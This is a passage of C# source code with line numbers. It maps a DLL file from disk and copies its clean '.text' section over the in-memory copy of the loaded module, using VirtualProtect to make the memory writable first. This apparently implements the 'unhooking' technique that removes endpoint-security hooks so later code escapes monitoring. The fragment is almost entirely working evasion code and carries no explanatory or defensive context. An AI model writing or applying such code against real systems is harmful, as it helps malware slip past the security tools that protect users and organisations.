IntPtr file = CreateFileA(fileName, GENERIC_READ, FILE_SHARE_READ, IntPtr.Zero, OPEN_EXISTING,0,IntPtr.Zero); 541 | IntPtr mapping = CreateFileMapping(file,IntPtr.Zero, FileMapProtection.PageReadonly | FileMapProtection.SectionImage, 0, 0, null); 542 | IntPtr mappedFile = MapViewOfFile(mapping, FileMapAccess.FileMapRead, 0, 0, IntPtr.Zero); 543 | 544 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(dllBase,typeof(IMAGE_DOS_HEADER)); 545 | IntPtr ptrToNt = (dllBase + dosHeader.e_lfanew); 546 | IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrToNt,typeof(IMAGE_NT_HEADERS64)); 547 | for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; i++) 548 | { 549 | IntPtr ptrSectionHeader = (ptrToNt + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64))); 550 | IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((ptrSectionHeader + (i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)))),typeof(IMAGE_SECTION_HEADER)); 551 | string sectionName = new string(sectionHeader.Name); 552 | 553 | if (sectionName.Contains("text")) 554 | { 555 | uint oldProtect = 0; 556 | IntPtr lpAddress = IntPtr.Add(dllBase,(int)sectionHeader.VirtualAddress); 557 | IntPtr srcAddress = IntPtr.Add(mappedFile,(int)sectionHeader.VirtualAddress); 558 | int vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,0x40,out oldProtect); 559 | memcpy(lpAddress,srcAddress,sectionHeader.VirtualSize); 560 | vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,oldProtect,out oldProtect); 561 | } 562 | } 563 | 564 | Console.Read(); 565 | 566 | CloseHandle(curProc); 567 | CloseHandle(file); 568 | CloseHandle(mapping); 569 | FreeLibrary(handle); 570 | 571 | } 572 | } 573 | } 574 | --------------------------------------------------------------------------------